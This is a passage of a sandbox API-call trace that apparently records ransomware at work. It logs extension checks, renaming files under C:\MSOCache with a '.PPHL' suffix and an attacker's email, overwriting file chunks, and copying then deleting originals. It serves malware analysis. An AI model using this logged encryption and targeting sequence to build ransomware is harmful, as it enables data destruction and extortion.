(lpString=".jpg") returned 4 [0076.661] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0076.661] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0076.661] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0076.661] lstrlenW (lpString=".doc") returned 4 [0076.661] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0076.661] lstrlenW (lpString=".docx") returned 5 [0076.661] lstrcmpiW (lpString1=".docx", lpString2="0.exe") returned -1 [0076.661] lstrlenW (lpString=".pdf") returned 4 [0076.661] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0076.661] lstrlenW (lpString=".xls") returned 4 [0076.661] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0076.661] lstrlenW (lpString=".xlsx") returned 5 [0076.661] lstrcmpiW (lpString1=".xlsx", lpString2="0.exe") returned -1 [0076.661] lstrlenW (lpString=".ppt") returned 4 [0076.661] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0076.661] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0076.661] lstrlenW (lpString=".zip") returned 4 [0076.661] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0076.661] lstrlenW (lpString=".rar") returned 4 [0076.661] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0076.661] lstrlenW (lpString=".bz2") returned 4 [0076.661] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0076.661] lstrlenW (lpString=".7z") returned 3 [0076.661] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0076.661] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0076.661] lstrlenW (lpString=".dbf") returned 4 [0076.661] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0076.661] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0076.661] lstrlenW (lpString=".1cd") returned 4 [0076.661] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0076.661] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0076.662] lstrlenW (lpString=".jpg") returned 4 [0076.662] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0076.662] lstrcmpiW (lpString1=".msi", lpString2=".PPHL") returned -1 [0076.662] lstrlenW (lpString="AccessMUI.msi") returned 13 [0076.662] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0076.816] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=2517504) returned 1 [0076.816] CloseHandle (hObject=0x18c) returned 1 [0076.816] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi")) returned 0x2020 [0076.817] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0076.823] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 1 [0076.859] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0076.859] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fc6c | out: lpNewFilePointer=0x0) returned 1 [0076.859] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fc2c | out: lpNewFilePointer=0x0) returned 1 [0076.859] ReadFile (in: hFile=0x18c, lpBuffer=0x3ce0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x351fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ce0058*, lpNumberOfBytesRead=0x351fc38*=0x40000, lpOverlapped=0x0) returned 1 [0076.869] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xcce00, lpNewFilePointer=0x0, dwMoveMethod=0x351fc2c | out: lpNewFilePointer=0x0) returned 1 [0076.869] ReadFile (in: hFile=0x18c, lpBuffer=0x3d20058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x351fc38, lpOverlapped=0x0 | out: lpBuffer=0x3d20058*, lpNumberOfBytesRead=0x351fc38*=0x40000, lpOverlapped=0x0) returned 1 [0076.882] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x351fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0076.882] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x226a00, lpNewFilePointer=0x0, dwMoveMethod=0x351fc2c | out: lpNewFilePointer=0x0) returned 1 [0076.882] ReadFile (in: hFile=0x18c, lpBuffer=0x3d60058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x351fc38, lpOverlapped=0x0 | out: lpBuffer=0x3d60058*, lpNumberOfBytesRead=0x351fc38*=0x40000, lpOverlapped=0x0) returned 1 [0077.165] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0077.165] WriteFile (in: hFile=0x18c, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xc0106, lpNumberOfBytesWritten=0x351fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x351fcb0*=0xc0106, lpOverlapped=0x0) returned 1 [0077.182] SetEndOfFile (hFile=0x18c) returned 1 [0077.183] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40000) returned 0x3fd3fd0 [0077.286] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fc7c | out: lpNewFilePointer=0x0) returned 1 [0077.286] WriteFile (in: hFile=0x18c, lpBuffer=0x3fd3fd0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x351fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd3fd0*, lpNumberOfBytesWritten=0x351fc88*=0x40000, lpOverlapped=0x0) returned 1 [0077.288] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xcce00, lpNewFilePointer=0x0, dwMoveMethod=0x351fc7c | out: lpNewFilePointer=0x0) returned 1 [0077.288] WriteFile (in: hFile=0x18c, lpBuffer=0x3fd3fd0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x351fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd3fd0*, lpNumberOfBytesWritten=0x351fc88*=0x40000, lpOverlapped=0x0) returned 1 [0077.297] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x226a00, lpNewFilePointer=0x0, dwMoveMethod=0x351fc7c | out: lpNewFilePointer=0x0) returned 1 [0077.297] WriteFile (in: hFile=0x18c, lpBuffer=0x3fd3fd0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x351fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd3fd0*, lpNumberOfBytesWritten=0x351fc88*=0x40000, lpOverlapped=0x0) returned 1 [0077.301] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3fd3fd0 | out: hHeap=0x5d0000) returned 1 [0077.301] CloseHandle (hObject=0x18c) returned 1 [0077.301] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x2020) returned 1 [0077.301] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0077.301] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0077.301] lstrlenW (lpString=".doc") returned 4 [0077.301] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0077.301] lstrlenW (lpString=".docx") returned 5 [0077.302] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0077.302] lstrlenW (lpString=".pdf") returned 4 [0077.302] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0077.302] lstrlenW (lpString=".xls") returned 4 [0077.302] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0077.302] lstrlenW (lpString=".xlsx") returned 5 [0077.302] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0077.302] lstrlenW (lpString=".ppt") returned 4 [0077.302] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0077.302] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0077.302] lstrlenW (lpString=".zip") returned 4 [0077.302] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0077.302] lstrlenW (lpString=".rar") returned 4 [0077.302] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0077.302] lstrlenW (lpString=".bz2") returned 4 [0077.302] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0077.302] lstrlenW (lpString=".7z") returned 3 [0077.302] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0077.302] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0077.302] lstrlenW (lpString=".dbf") returned 4 [0077.302] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0077.302] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0077.302] lstrlenW (lpString=".1cd") returned 4 [0077.302] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0077.302] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0077.302] lstrlenW (lpString=".jpg") returned 4 [0077.302] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0077.303] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0077.303] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0077.303] lstrlenW (lpString=".doc") returned 4 [0077.303] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0077.303] lstrlenW (lpString=".docx") returned 5 [0077.303] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0077.303] lstrlenW (lpString=".pdf") returned 4 [0077.303] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0077.303] lstrlenW (lpString=".xls") returned 4 [0077.303] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0077.303] lstrlenW (lpString=".xlsx") returned 5 [0077.303] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0077.303] lstrlenW (lpString=".ppt") returned 4 [0077.303] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0077.303] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0077.303] lstrlenW (lpString=".zip") returned 4 [0077.303] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0077.303] lstrlenW (lpString=".rar") returned 4 [0077.303] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0077.303] lstrlenW (lpString=".bz2") returned 4 [0077.303] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0077.303] lstrlenW (lpString=".7z") returned 3 [0077.303] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0077.303] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0077.303] lstrlenW (lpString=".dbf") returned 4 [0077.303] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0077.304] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0077.304] lstrlenW (lpString=".1cd") returned 4 [0077.304] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0077.304] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0077.304] lstrlenW (lpString=".jpg") returned 4 [0077.304] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0077.304] lstrcmpiW (lpString1=".dll", lpString2=".PPHL") returned -1 [0077.304] lstrlenW (lpString="PidGenX.dll") returned 11 [0077.304] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0077.305] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=1463568) returned 1 [0077.305] CloseHandle (hObject=0x18c) returned 1 [0077.305] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll")) returned 0x2020 [0077.305] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0077.305] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0077.305] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0077.305] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0077.305] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0077.306] GetLastError () returned 0x0 [0077.306] ReadFile (in: hFile=0x18c, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x351fed4*=0xffff0, lpOverlapped=0x0) returned 1 [0077.371] WriteFile (in: hFile=0x1ec, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x351fc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0077.642] ReadFile (in: hFile=0x18c, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x351fed4*=0x65520, lpOverlapped=0x0) returned 1 [0077.661] WriteFile (in: hFile=0x1ec, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0x65530, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x351fc9c*=0x65530, lpOverlapped=0x0) returned 1 [0077.909] ReadFile (in: hFile=0x18c, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0077.909] WriteFile (in: hFile=0x1ec, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x351fc9c*=0xea, lpOverlapped=0x0) returned 1 [0077.909] SetEndOfFile (hFile=0x1ec) returned 1 [0077.910] CloseHandle (hObject=0x1ec) returned 1 [0077.910] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0077.910] SetEndOfFile (hFile=0x18c) returned 1 [0077.914] CloseHandle (hObject=0x18c) returned 1 [0077.914] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x2020) returned 1 [0077.914] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll")) returned 1 [0077.914] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0077.914] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0077.914] lstrlenW (lpString=".doc") returned 4 [0077.914] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0077.914] lstrlenW (lpString=".docx") returned 5 [0077.914] lstrcmpiW (lpString1=".docx", lpString2="X.dll") returned -1 [0077.914] lstrlenW (lpString=".pdf") returned 4 [0077.914] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0077.914] lstrlenW (lpString=".xls") returned 4 [0077.914] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0077.914] lstrlenW (lpString=".xlsx") returned 5 [0077.915] lstrcmpiW (lpString1=".xlsx", lpString2="X.dll") returned -1 [0077.915] lstrlenW (lpString=".ppt") returned 4 [0077.915] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0077.915] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0077.915] lstrlenW (lpString=".zip") returned 4 [0077.915] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0077.915] lstrlenW (lpString=".rar") returned 4 [0077.915] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0077.915] lstrlenW (lpString=".bz2") returned 4 [0077.915] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0077.915] lstrlenW (lpString=".7z") returned 3 [0077.915] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0077.915] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0077.915] lstrlenW (lpString=".dbf") returned 4 [0077.915] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0077.915] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0077.915] lstrlenW (lpString=".1cd") returned 4 [0077.915] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0077.915] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0077.915] lstrlenW (lpString=".jpg") returned 4 [0077.915] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0077.915] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0077.915] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0077.915] lstrlenW (lpString=".doc") returned 4 [0077.915] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0077.915] lstrlenW (lpString=".docx") returned 5 [0077.915] lstrcmpiW (lpString1=".docx", lpString2="X.dll") returned -1 [0077.915] lstrlenW (lpString=".pdf") returned 4 [0077.915] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0077.915] lstrlenW (lpString=".xls") returned 4 [0077.915] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0077.915] lstrlenW (lpString=".xlsx") returned 5 [0077.915] lstrcmpiW (lpString1=".xlsx", lpString2="X.dll") returned -1 [0077.915] lstrlenW (lpString=".ppt") returned 4 [0077.915] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0077.916] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0077.916] lstrlenW (lpString=".zip") returned 4 [0077.916] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0077.916] lstrlenW (lpString=".rar") returned 4 [0077.916] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0077.916] lstrlenW (lpString=".bz2") returned 4 [0077.916] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0077.916] lstrlenW (lpString=".7z") returned 3 [0077.916] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0077.916] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0077.916] lstrlenW (lpString=".dbf") returned 4 [0077.916] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0077.916] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0077.916] lstrlenW (lpString=".1cd") returned 4 [0077.916] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0077.916] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0077.916] lstrlenW (lpString=".jpg") returned 4 [0077.916] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0077.916] lstrcmpiW (lpString1=".cab", lpString2=".PPHL") returned -1 [0077.916] lstrlenW (lpString="ProPrWW.cab") returned 11 [0077.916] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0078.816] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=177720283) returned 1 [0078.821] CloseHandle (hObject=0x1fc) returned 1 [0078.821] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab")) returned 0x2020 [0078.821] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0078.821] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 1 [0078.821] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0078.822] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fc6c | out: lpNewFilePointer=0x0) returned 1 [0078.822] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fc2c | out: lpNewFilePointer=0x0) returned 1 [0078.822] ReadFile (in: hFile=0x1fc, lpBuffer=0x3ce0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x351fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ce0058*, lpNumberOfBytesRead=0x351fc38*=0x40000, lpOverlapped=0x0) returned 1 [0078.982] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x387ee9e, lpNewFilePointer=0x0, dwMoveMethod=0x351fc2c | out: lpNewFilePointer=0x0) returned 1 [0078.982] ReadFile (in: hFile=0x1fc, lpBuffer=0x3d20058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x351fc38, lpOverlapped=0x0 | out: lpBuffer=0x3d20058*, lpNumberOfBytesRead=0x351fc38*=0x40000, lpOverlapped=0x0) returned 1 [0079.345] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, 